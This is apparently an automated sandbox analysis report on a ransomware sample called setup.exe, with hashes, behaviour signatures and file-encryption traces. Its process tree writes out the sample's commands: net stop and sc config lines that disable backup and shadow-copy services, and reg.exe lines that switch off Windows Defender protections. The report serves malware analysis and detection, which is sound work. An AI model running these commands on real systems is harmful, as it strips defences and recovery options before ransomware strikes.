Analysis
-
max time kernel
86s -
max time network
122s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
05-01-2022 13:01
Static task
static1
Behavioral task
behavioral1
Sample
setup.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
setup.exe
Resource
win10-en-20211208
General
-
Target
setup.exe
-
Size
3.9MB
-
MD5
0e4d44dde522c07d09d9e3086cfae803
-
SHA1
d8dc26e2094869a0da78ecb47494c931419302dc
-
SHA256
33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277
-
SHA512
ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06
Malware Config
Signatures
-
Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
Processes:
MpCmdRun.exepid process 2600 MpCmdRun.exe -
Modifies security service 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe -
Clears Windows event logs 1 TTPs
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
Processes:
bcdedit.exebcdedit.exepid process 3680 bcdedit.exe 3416 bcdedit.exe -
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
setup.exedescription ioc process File renamed C:\Users\Admin\Pictures\UnblockConvert.crw => C:\Users\Admin\Pictures\UnblockConvert.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Users\Admin\Pictures\UnblockConvert.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File renamed C:\Users\Admin\Pictures\UseRedo.crw => C:\Users\Admin\Pictures\UseRedo.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Users\Admin\Pictures\UseRedo.crw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File renamed C:\Users\Admin\Pictures\ExportComplete.raw => C:\Users\Admin\Pictures\ExportComplete.raw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_DAAAAAwAAAA0.cv2gj setup.exe File opened for modification C:\Users\Admin\Pictures\ExportComplete.raw.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_DAAAAAwAAAA0.cv2gj setup.exe File renamed C:\Users\Admin\Pictures\MountComplete.tif => C:\Users\Admin\Pictures\MountComplete.tif.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Users\Admin\Pictures\MountComplete.tif.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops file in Program Files directory 64 IoCs
Processes:
setup.exedescription ioc process File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\2875_32x32x32.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\co_60x42.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\large\vg_60x42.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_download_pdf_18.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_EgAAABIAAAA0.cv2gj setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\hu-hu\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_EAAAABAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Tournament\GameModePyramid.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\2875_40x40x32.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\resources.pri setup.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_BgAAAAYAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019XC2RVL_KMS_ClientC2R-ppd.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_GgAAABoAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-60.png setup.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.forms_3.6.100.v20140422-1825.jar.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_KgAAACoAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.14.2002.0_x64__8wekyb3d8bbwe\SpeechToTextOverlay.winmd setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons_retina.png.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AgAAAAIAAAA0.cv2gj setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\lv_get.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemuiset.msi.16.en-us.xml.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.ZuneMusic_10.16112.11621.0_neutral_resources.scale-125_8wekyb3d8bbwe\Assets\contrast-black\iheart-radio.scale-125_contrast-black.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\326_24x24x32.png setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\PlayStore_icon.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Common Files\microsoft shared\ink\en-US\boxed-join.avi setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\en_get.svg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PowerPointR_Retail-ul-phn.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\Resources\cursorXBOX_normal.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\Assets\AppTiles\WeatherIcons\30x30\69.png setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\css\main.css.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageMedTile.scale-125_contrast-white.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.16112.11621.0_x64__8wekyb3d8bbwe\Assets\SmallLogo.scale-100.png setup.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\Office365LogoWLockup.scale-180.png setup.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Yahoo-Dark.scale-125.png setup.exe File opened for modification C:\Program Files\7-Zip\Lang\hi.txt.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusEDUR_Subscription-ul-oob.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_NgAAADYAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_GgAAABoAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Arkadium.Win10.DailyChallenges\Assets\Popups\BronzeBadgeEarned.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteAppList.targetsize-40_altform-unplated.png setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\zh-cn\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioProXC2RVL_KMS_ClientC2R-ppd.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.4919d9c8.pri setup.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\9434_20x20x32.png setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\forms_poster.jpg.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_BgAAAAYAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Assets\contrast-black\PeopleAppList.targetsize-80.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\WindowsPhoneReservedAppInfo.xml setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubSmallTile.scale-100_contrast-white.png setup.exe File opened for modification C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Snippets\ShouldThrow.snippets.ps1xml setup.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_equalizer.html.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AlarmsSmallTile.contrast-black_scale-125.png setup.exe File opened for modification C:\Program Files\Common Files\microsoft shared\Stationery\Bears.htm setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019XC2RVL_MAKC2R-ul-phn.xrm-ms.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_GAAAABgAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\LogoImages\FirstRunLogoSmall.scale-80.png.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\GamePlayAssets\Localization\localized_EN-US.respack setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\sl_16x11.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-36_altform-unplated.png setup.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\Snooze.scale-80.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteNotebookWideTile.scale-100.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Wallet_1.0.16328.0_x64__8wekyb3d8bbwe\AppxMetadata\CodeIntegrity.cat setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-72.png setup.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\6478_32x32x32.png setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\Microsoft.People.Controls.winmd setup.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Designs\Flags\small\mf_16x11.png setup.exe File opened for modification C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxMailAppList.targetsize-32.png setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\es-es\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_AAAAAAAAAAA0.cv2gj setup.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\en-il\ui-strings.js.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_NAAAADQAAAA0.cv2gj setup.exe File opened for modification C:\Program Files\Common Files\microsoft shared\Stationery\Bears.jpg setup.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar.hrh7CSGJVc1wGjrzdfp0K3iPaPDyNW99FxbVwoNXKE7_FAAAABQAAAA0.cv2gj setup.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 3788 vssadmin.exe -
Modifies registry class 3 IoCs
Processes:
reg.exereg.exereg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP reg.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exepowershell.exesetup.exepid process 2528 powershell.exe 2528 powershell.exe 2528 powershell.exe 1796 powershell.exe 1796 powershell.exe 1796 powershell.exe 4016 setup.exe 4016 setup.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exedescription pid process Token: SeSecurityPrivilege 3276 wevtutil.exe Token: SeBackupPrivilege 3276 wevtutil.exe Token: SeSecurityPrivilege 3976 wevtutil.exe Token: SeBackupPrivilege 3976 wevtutil.exe Token: SeSecurityPrivilege 3184 wevtutil.exe Token: SeBackupPrivilege 3184 wevtutil.exe Token: SeIncreaseQuotaPrivilege 1800 wmic.exe Token: SeSecurityPrivilege 1800 wmic.exe Token: SeTakeOwnershipPrivilege 1800 wmic.exe Token: SeLoadDriverPrivilege 1800 wmic.exe Token: SeSystemProfilePrivilege 1800 wmic.exe Token: SeSystemtimePrivilege 1800 wmic.exe Token: SeProfSingleProcessPrivilege 1800 wmic.exe Token: SeIncBasePriorityPrivilege 1800 wmic.exe Token: SeCreatePagefilePrivilege 1800 wmic.exe Token: SeBackupPrivilege 1800 wmic.exe Token: SeRestorePrivilege 1800 wmic.exe Token: SeShutdownPrivilege 1800 wmic.exe Token: SeDebugPrivilege 1800 wmic.exe Token: SeSystemEnvironmentPrivilege 1800 wmic.exe Token: SeRemoteShutdownPrivilege 1800 wmic.exe Token: SeUndockPrivilege 1800 wmic.exe Token: SeManageVolumePrivilege 1800 wmic.exe Token: 33 1800 wmic.exe Token: 34 1800 wmic.exe Token: 35 1800 wmic.exe Token: 36 1800 wmic.exe Token: SeIncreaseQuotaPrivilege 4056 wmic.exe Token: SeSecurityPrivilege 4056 wmic.exe Token: SeTakeOwnershipPrivilege 4056 wmic.exe Token: SeLoadDriverPrivilege 4056 wmic.exe Token: SeSystemProfilePrivilege 4056 wmic.exe Token: SeSystemtimePrivilege 4056 wmic.exe Token: SeProfSingleProcessPrivilege 4056 wmic.exe Token: SeIncBasePriorityPrivilege 4056 wmic.exe Token: SeCreatePagefilePrivilege 4056 wmic.exe Token: SeBackupPrivilege 4056 wmic.exe Token: SeRestorePrivilege 4056 wmic.exe Token: SeShutdownPrivilege 4056 wmic.exe Token: SeDebugPrivilege 4056 wmic.exe Token: SeSystemEnvironmentPrivilege 4056 wmic.exe Token: SeRemoteShutdownPrivilege 4056 wmic.exe Token: SeUndockPrivilege 4056 wmic.exe Token: SeManageVolumePrivilege 4056 wmic.exe Token: 33 4056 wmic.exe Token: 34 4056 wmic.exe Token: 35 4056 wmic.exe Token: 36 4056 wmic.exe Token: SeIncreaseQuotaPrivilege 4056 wmic.exe Token: SeSecurityPrivilege 4056 wmic.exe Token: SeTakeOwnershipPrivilege 4056 wmic.exe Token: SeLoadDriverPrivilege 4056 wmic.exe Token: SeSystemProfilePrivilege 4056 wmic.exe Token: SeSystemtimePrivilege 4056 wmic.exe Token: SeProfSingleProcessPrivilege 4056 wmic.exe Token: SeIncBasePriorityPrivilege 4056 wmic.exe Token: SeCreatePagefilePrivilege 4056 wmic.exe Token: SeBackupPrivilege 4056 wmic.exe Token: SeRestorePrivilege 4056 wmic.exe Token: SeShutdownPrivilege 4056 wmic.exe Token: SeDebugPrivilege 4056 wmic.exe Token: SeSystemEnvironmentPrivilege 4056 wmic.exe Token: SeRemoteShutdownPrivilege 4056 wmic.exe Token: SeUndockPrivilege 4056 wmic.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
setup.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exedescription pid process target process PID 4016 wrote to memory of 1200 4016 setup.exe net.exe PID 4016 wrote to memory of 1200 4016 setup.exe net.exe PID 1200 wrote to memory of 2136 1200 net.exe net1.exe PID 1200 wrote to memory of 2136 1200 net.exe net1.exe PID 4016 wrote to memory of 1984 4016 setup.exe net.exe PID 4016 wrote to memory of 1984 4016 setup.exe net.exe PID 1984 wrote to memory of 3596 1984 net.exe net1.exe PID 1984 wrote to memory of 3596 1984 net.exe net1.exe PID 4016 wrote to memory of 8 4016 setup.exe net.exe PID 4016 wrote to memory of 8 4016 setup.exe net.exe PID 8 wrote to memory of 3560 8 net.exe net1.exe PID 8 wrote to memory of 3560 8 net.exe net1.exe PID 4016 wrote to memory of 2672 4016 setup.exe net.exe PID 4016 wrote to memory of 2672 4016 setup.exe net.exe PID 2672 wrote to memory of 2576 2672 net.exe net1.exe PID 2672 wrote to memory of 2576 2672 net.exe net1.exe PID 4016 wrote to memory of 1256 4016 setup.exe net.exe PID 4016 wrote to memory of 1256 4016 setup.exe net.exe PID 1256 wrote to memory of 3960 1256 net.exe net1.exe PID 1256 wrote to memory of 3960 1256 net.exe net1.exe PID 4016 wrote to memory of 2112 4016 setup.exe net.exe PID 4016 wrote to memory of 2112 4016 setup.exe net.exe PID 2112 wrote to memory of 3996 2112 net.exe net1.exe PID 2112 wrote to memory of 3996 2112 net.exe net1.exe PID 4016 wrote to memory of 1652 4016 setup.exe net.exe PID 4016 wrote to memory of 1652 4016 setup.exe net.exe PID 1652 wrote to memory of 1136 1652 net.exe net1.exe PID 1652 wrote to memory of 1136 1652 net.exe net1.exe PID 4016 wrote to memory of 2748 4016 setup.exe net.exe PID 4016 wrote to memory of 2748 4016 setup.exe net.exe PID 2748 wrote to memory of 3592 2748 net.exe net1.exe PID 2748 wrote to memory of 3592 2748 net.exe net1.exe PID 4016 wrote to memory of 1016 4016 setup.exe net.exe PID 4016 wrote to memory of 1016 4016 setup.exe net.exe PID 1016 wrote to memory of 388 1016 net.exe net1.exe PID 1016 wrote to memory of 388 1016 net.exe net1.exe PID 4016 wrote to memory of 1388 4016 setup.exe sc.exe PID 4016 wrote to memory of 1388 4016 setup.exe sc.exe PID 4016 wrote to memory of 900 4016 setup.exe sc.exe PID 4016 wrote to memory of 900 4016 setup.exe sc.exe PID 4016 wrote to memory of 1064 4016 setup.exe sc.exe PID 4016 wrote to memory of 1064 4016 setup.exe sc.exe PID 4016 wrote to memory of 2440 4016 setup.exe sc.exe PID 4016 wrote to memory of 2440 4016 setup.exe sc.exe PID 4016 wrote to memory of 1444 4016 setup.exe sc.exe PID 4016 wrote to memory of 1444 4016 setup.exe sc.exe PID 4016 wrote to memory of 1736 4016 setup.exe sc.exe PID 4016 wrote to memory of 1736 4016 setup.exe sc.exe PID 4016 wrote to memory of 1392 4016 setup.exe sc.exe PID 4016 wrote to memory of 1392 4016 setup.exe sc.exe PID 4016 wrote to memory of 2176 4016 setup.exe sc.exe PID 4016 wrote to memory of 2176 4016 setup.exe sc.exe PID 4016 wrote to memory of 3036 4016 setup.exe sc.exe PID 4016 wrote to memory of 3036 4016 setup.exe sc.exe PID 4016 wrote to memory of 832 4016 setup.exe reg.exe PID 4016 wrote to memory of 832 4016 setup.exe reg.exe PID 4016 wrote to memory of 3948 4016 setup.exe reg.exe PID 4016 wrote to memory of 3948 4016 setup.exe reg.exe PID 4016 wrote to memory of 1056 4016 setup.exe reg.exe PID 4016 wrote to memory of 1056 4016 setup.exe reg.exe PID 4016 wrote to memory of 3204 4016 setup.exe reg.exe PID 4016 wrote to memory of 3204 4016 setup.exe reg.exe PID 4016 wrote to memory of 2956 4016 setup.exe reg.exe PID 4016 wrote to memory of 2956 4016 setup.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\SYSTEM32\net.exenet.exe stop "SamSs" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SamSs" /y3⤵PID:2136
-
C:\Windows\SYSTEM32\net.exenet.exe stop "SDRSVC" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SDRSVC" /y3⤵PID:3596
-
C:\Windows\SYSTEM32\net.exenet.exe stop "SstpSvc" /y2⤵
- Suspicious use of WriteProcessMemory
PID:8 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "SstpSvc" /y3⤵PID:3560
-
C:\Windows\SYSTEM32\net.exenet.exe stop "UI0Detect" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2672 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UI0Detect" /y3⤵PID:2576
-
C:\Windows\SYSTEM32\net.exenet.exe stop "vmicvss" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1256 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "vmicvss" /y3⤵PID:3960
-
C:\Windows\SYSTEM32\net.exenet.exe stop "VSS" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "VSS" /y3⤵PID:3996
-
C:\Windows\SYSTEM32\net.exenet.exe stop "wbengine" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "wbengine" /y3⤵PID:1136
-
C:\Windows\SYSTEM32\net.exenet.exe stop "WebClient" /y2⤵
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "WebClient" /y3⤵PID:3592
-
C:\Windows\SYSTEM32\net.exenet.exe stop "UnistoreSvc_12cdb" /y2⤵
- Suspicious use of WriteProcessMemory
PID:1016 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop "UnistoreSvc_12cdb" /y3⤵PID:388
-
C:\Windows\SYSTEM32\sc.exesc.exe config "SamSs" start= disabled2⤵PID:1388
-
C:\Windows\SYSTEM32\sc.exesc.exe config "SDRSVC" start= disabled2⤵PID:900
-
C:\Windows\SYSTEM32\sc.exesc.exe config "SstpSvc" start= disabled2⤵PID:1064
-
C:\Windows\SYSTEM32\sc.exesc.exe config "UI0Detect" start= disabled2⤵PID:2440
-
C:\Windows\SYSTEM32\sc.exesc.exe config "vmicvss" start= disabled2⤵PID:1444
-
C:\Windows\SYSTEM32\sc.exesc.exe config "VSS" start= disabled2⤵PID:1736
-
C:\Windows\SYSTEM32\sc.exesc.exe config "wbengine" start= disabled2⤵PID:1392
-
C:\Windows\SYSTEM32\sc.exesc.exe config "WebClient" start= disabled2⤵PID:2176
-
C:\Windows\SYSTEM32\sc.exesc.exe config "UnistoreSvc_12cdb" start= disabled2⤵PID:3036
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f2⤵PID:832
-
C:\Windows\SYSTEM32\reg.exereg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f2⤵PID:3948
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵PID:1056
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f2⤵PID:3204
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f2⤵PID:2956
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵PID:308
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f2⤵PID:3756
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵PID:3092
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f2⤵PID:764
-
C:\Windows\SYSTEM32\reg.exereg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵PID:3972
-
